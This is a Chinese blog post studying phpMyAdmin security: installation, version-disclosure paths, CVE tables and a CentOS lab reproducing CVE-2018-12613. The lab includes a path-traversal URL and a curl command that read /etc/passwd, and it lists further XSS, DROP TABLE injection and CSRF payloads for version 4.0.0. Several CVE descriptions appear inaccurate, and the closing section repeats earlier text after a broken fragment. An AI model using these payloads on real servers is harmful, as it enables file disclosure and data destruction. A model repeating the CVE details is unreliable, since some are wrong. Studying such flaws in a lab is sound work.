phpMyAdmin漏洞学习Pro

phpMyAdmin漏洞学习

简介

phpMyAdmin 是一个基于 Web 的 MySQL/MariaDB 数据库管理工具,使用 PHP 编写,允许用户通过浏览器直接操作数据库。

1. 核心功能

  • 数据库管理
    • 创建、修改、删除数据库/表/字段/索引。
    • 执行 SQL 查询(支持语法高亮和自动补全)。
  • 数据操作
    • 插入、编辑、删除数据(类似 Excel 表格)。
    • 导入/导出数据(支持 SQL、CSV、JSON、Excel 等格式)。
  • 用户权限管理
    • 管理 MySQL 用户账号和权限。
  • 服务器监控
    • 查看服务器状态、进程、变量配置等。

2. 优缺点

优点缺点
✅ 免费开源❌ 安全性风险(需严格配置权限)
✅ 跨平台(任何浏览器可用)❌ 性能较差(大数据量操作慢)
✅ 无需安装客户端❌ 功能较专业工具(如 DataGrip)有限

3. 主要安全风险

① 默认弱点和常见攻击方式
  • 默认路径暴露
    • 攻击者常扫描 /phpmyadmin/pma/admin 等常见路径,尝试未授权访问。
  • 弱密码或默认密码
    • 默认用户(如 root 无密码)或简单密码(如 admin123)易被暴力破解。
  • SQL 注入
    • 旧版本可能存在漏洞(如 CVE-2018-12613),允许通过伪造请求执行恶意 SQL。
  • 文件包含漏洞(LFI/RFI)
    • 通过参数操纵读取服务器敏感文件(如 /etc/passwd)或远程执行代码。
  • CSRF(跨站请求伪造)
    • 攻击者诱骗管理员点击恶意链接,执行数据库操作(如删除表)。
② 服务器层面风险
  • phpMyAdmin 本身漏洞
    • 未更新的版本可能包含已知漏洞(如 CVE-2020-0554)。
  • PHP 配置不当
    • allow_url_include=On 可能导致远程代码执行。

安装和配置

安装

安装phpMyAdmin前,要安装配置好Apache

phpMyAdmin的安装学习自菜冬眠。

phpMyAdmin下载地址:https://www.phpmyadmin.net/

点击右上角下载按钮

请添加图片描述

下载得到phpMyAdmin-4.7.0-all-languages.zip

解压到C盘根目录下,重命名为phpMyAdmin,进入该文件夹,找到config.sample.inc.php,改名为config.inc.php,用文本编辑器打开改文件。找到下列代码

$cfg['blowfish_secret'] = ''

改成

$cfg['blowfish_secret'] = 'c4ca4238a0b923820dcc509a6f75849b';//一个长字符串密码就行

进入apache的conf文件夹下,新建一个phpmyadmin.conf文件,文本编辑器打开,加入下列代码

Alias /phpmyadmin "c:/phpMyAdmin/"
<Directory "c:/phpMyAdmin/">
Options Indexes FollowSymLinks MultiViews
AllowOverride all
Require all granted
php_admin_value upload_max_filesize 128M
php_admin_value post_max_size 128M
php_admin_value max_execution_time 360
php_admin_value max_input_time 360
</Directory>

保存退出

在该文件夹内找到配置文件httdp.conf,用文本编辑器打开,在末尾增加一行

Include conf/phpmyadmin.conf

保存退出,重启apache

在浏览器中输入 http://localhost/phpmyadmin

登录

请添加图片描述

用户名填root
密码是本机MySQL的密码

安装补充

在浏览器中输入http://localhost/phpmyadmin的前提是配置Apache的端口是默认端口80,如果有修改,输入的地址也应该有变化例如修改成8088,输入的则应该是http://localhost:8088/phpmyadmin

可能出现的报错和解决方式

1.index.php渲染失败

当在浏览器中输入正确的地址后,发现index.php渲染失败,并没有出现应该有的登录页面

解决方法:

  1. 打开 Apache 的配置文件 httpd.conf(一般在 Apache24/conf/httpd.conf);

  2. 找到这一行(可能在 270 行左右):

    <IfModule dir_module>
        DirectoryIndex index.html
    </IfModule>
    
  3. 把他修改为

    <IfModule dir_module>
        DirectoryIndex index.php index.html
    </IfModule>
    
  4. 保存配置,重启apache服务

2.出现大量Deprecated报错

当打开页面时出现大量Deprecated报错,是因为你当前使用的 PHP 版本过高,而 phpMyAdmin 或它依赖的库(如 thecodingmachine/safe)中使用了旧的、不再推荐的语法。

解决方法:关闭 PHP 的“废弃提示”显示(看不见报错,就是没错!)

  1. 打开 PHP 的配置文件 php.ini(路径如:C:\php\php.ini);

  2. 找到这一行(大约在 400 行左右):

error_reporting = E_ALL
  1. 修改成
error_reporting = E_ALL & ~E_DEPRECATED & ~E_NOTICE

意思是:显示所有错误,但不显示废弃(Deprecated)和提醒(Notice)级别的信息。

  1. 同时确保下面这一行是启用的
display_errors = On
  1. 保存配置,重启Apache服务。

查看phpmyadmin版本

phpmyadmin版本信息查看学习自kracer127

直接在phpmyadmin的url后加下面文件路径爆出:

/readme
/changelog
/Change
/changelog.php  
/Documetation.html 
/Documetation.txt 
/translators.html
/doc/html/index.html

phpMyAdmin 相关的部分重要 CVE 漏洞

1. 高危漏洞(RCE、SQL注入、文件包含等)

CVE编号漏洞类型影响版本漏洞描述修复版本
CVE-2023-3936跨站脚本 (XSS)< 5.2.1通过特制请求触发存储型XSS,可窃取会话Cookie。5.2.1
CVE-2022-32608SQL注入5.1.0 - 5.1.3在SQL查询构造中未过滤用户输入,导致注入。5.1.4
CVE-2021-32647文件包含/代码执行5.1.0 - 5.1.1通过精心构造的请求包含本地文件(需allow_url_include=On)。5.1.2
CVE-2020-0554跨站请求伪造 (CSRF)< 5.0.4攻击者可诱骗管理员执行恶意数据库操作(如删除表)。5.0.4
CVE-2019-12922反序列化漏洞4.9.0.1通过恶意序列化数据触发远程代码执行(RCE)。4.9.1
CVE-2018-12613本地文件包含 (LFI)4.8.0 - 4.8.1通过index.php?target=参数读取服务器敏感文件(如/etc/passwd)。4.8.2
CVE-2016-5734SQL注入4.0.10 - 4.6.3在用户权限管理界面存在注入漏洞。4.6.4
CVE-2016-5730代码执行4.6.0 - 4.6.2通过pma_username参数触发PHP代码执行。4.6.3

2. 中低危漏洞(信息泄露、权限绕过等)

CVE编号漏洞类型影响版本漏洞描述修复版本
CVE-2020-10802信息泄露5.0.0 - 5.0.1错误页面泄露服务器路径信息。5.0.2
CVE-2019-12923开放重定向4.9.0.1通过redirect.php跳转到恶意网站。4.9.1
CVE-2018-19968会话固定攻击4.8.0 - 4.8.3攻击者可劫持用户会话。4.8.4
CVE-2017-1000499跨站脚本 (XSS)< 4.7.6在表名参数中触发反射型XSS。4.7.6

漏洞复现(从配置环境开始)

1.CVE-2018-12613

使用系统:CentOS7

所需环境:

  • phpMyAdmin4.8.0——4.8.2
  • php7.2
  • apache2
1. 系统准备

首先确保你有一个干净的CentOS 7系统:

# 更新系统
sudo yum update -y

# 安装常用工具
sudo yum install -y wget vim unzip
2. 安装必要的服务
2.1 安装Apache和PHP
# 安装EPEL仓库
sudo yum install -y epel-release

# 安装Apache和PHP及相关模块
sudo yum install -y httpd php php-mysql php-mbstring php-gd
2.2 启动Apache服务
sudo systemctl start httpd
sudo systemctl enable httpd
2.3 验证PHP安装

创建测试文件:

echo "<?php phpinfo(); ?>" | sudo tee /var/www/html/info.php

在环境浏览器中访问 http://localhost/info.php 应该能看到PHP信息页面。

3. 安装易受攻击的phpMyAdmin版本
3.1 下载phpMyAdmin 4.8.2
cd /tmp
wget https://files.phpmyadmin.net/phpMyAdmin/4.8.2/phpMyAdmin-4.8.2-all-languages.zip
unzip phpMyAdmin-4.8.2-all-languages.zip
sudo mv phpMyAdmin-4.8.2-all-languages /var/www/html/phpmyadmin
3.2 配置phpMyAdmin
sudo cp /var/www/html/phpmyadmin/config.sample.inc.php /var/www/html/phpmyadmin/config.inc.php

修改配置文件:

sudo vim /var/www/html/phpmyadmin/config.inc.php

找到以下行并取消注释(或添加):

$cfg['AllowArbitraryServer'] = true;
3.3 设置权限
sudo chown -R apache:apache /var/www/html/phpmyadmin
sudo chmod -R 755 /var/www/html/phpmyadmin
sudo restorecon -R /var/www/html/phpmyadmin
3.4 重启Apache
sudo systemctl restart httpd
4. 复现漏洞
4.1 漏洞原理

该漏洞存在于index.php文件中,攻击者可以通过构造特殊的请求参数,绕过安全检查,实现本地文件包含。

4.2 复现步骤

访问以下URL(替换[目标]为你的服务器地址):

http://[目标]/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

或者使用curl命令:

curl "http://localhost/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd"

如果漏洞存在,你将看到系统/etc/passwd文件的内容。

4.3 另一种验证方式

创建一个测试文件:

echo "<?php echo 'Vulnerable!'; ?>" | sudo tee /var/www/html/test.php

然后尝试包含它:

http://[目标]/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../var/www/html/test.php

如果看到"Vulnerable!"输出,则漏洞复现成功。

phpMyAdmin4.0.0可以复现的CVE

复现环境搭建建议:

  1. 下载 phpMyAdmin 4.0.0:
    • 旧版本下载地址
  2. 使用 PHP 5.45.6 + MySQL 5.55.6 环境(推荐使用 XAMPP/LAMP 或 Docker)
  3. 启用 display_errors,方便调试

1. CVE-2013-3238 - 本地文件包含(LFI)

  • 漏洞类型:本地文件包含(Local File Inclusion)

  • 描述:攻击者可以通过构造特定请求,利用 pma_navigation.php 中的 target 参数包含任意本地文件。

  • 影响版本:<= 4.0.0

  • 复现建议

    • 搭建 phpMyAdmin 4.0.0 环境;

    • 访问:

      http://yourhost/phpmyadmin/navigation.php?target=../../../../../../etc/passwd
      

2. CVE-2013-1937 - 存储型 XSS

  • 漏洞类型:存储型跨站脚本攻击(Stored XSS)

  • 描述:在某些字段(如表注释、列名等)中插入恶意 JavaScript 代码,当用户浏览这些内容时会触发脚本。

  • 影响版本:phpMyAdmin 4.0.0

  • 复现建议

    • 创建新表时,在“注释”或“列名”输入:

      <script>alert('XSS')</script>
      
    • 保存后,刷新页面,会触发 XSS。


3. CVE-2013-3239 - SQL 注入漏洞

  • 漏洞类型:SQL Injection
  • 描述:当处理某些数据表名时,phpMyAdmin 没有正确过滤输入,导致 SQL 注入。
  • 影响版本:<= 4.0.0
  • 复现建议
    • 创建恶意数据库或表名,例如 '; DROP TABLE users;--
    • 触发后台某些处理函数(比如导出、浏览)时可能执行注入语句。

4. CVE-2013-4995 - CSRF 导致任意 SQL 执行

  • 漏洞类型:跨站请求伪造(CSRF)+ 权限绕过

  • 描述:攻击者诱导已登录用户点击特制链接即可在数据库中执行 SQL 命令。

  • 影响版本:4.0.0

  • 复现建议

    • 构造一个 HTML 页面带有伪造的 POST 请求;
    • 诱导管理员点击或访问此页面,即可执行操作。
      漏洞**
  • 漏洞类型:SQL Injection

  • 描述:当处理某些数据表名时,phpMyAdmin 没有正确过滤输入,导致 SQL 注入。

  • 影响版本:<= 4.0.0

  • 复现建议

    • 创建恶意数据库或表名,例如 '; DROP TABLE users;--
    • 触发后台某些处理函数(比如导出、浏览)时可能执行注入语句。

4. CVE-2013-4995 - CSRF 导致任意 SQL 执行

  • 漏洞类型:跨站请求伪造(CSRF)+ 权限绕过
  • 描述:攻击者诱导已登录用户点击特制链接即可在数据库中执行 SQL 命令。
  • 影响版本:4.0.0
  • 复现建议
    • 构造一个 HTML 页面带有伪造的 POST 请求;
    • 诱导管理员点击或访问此页面,即可执行操作。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值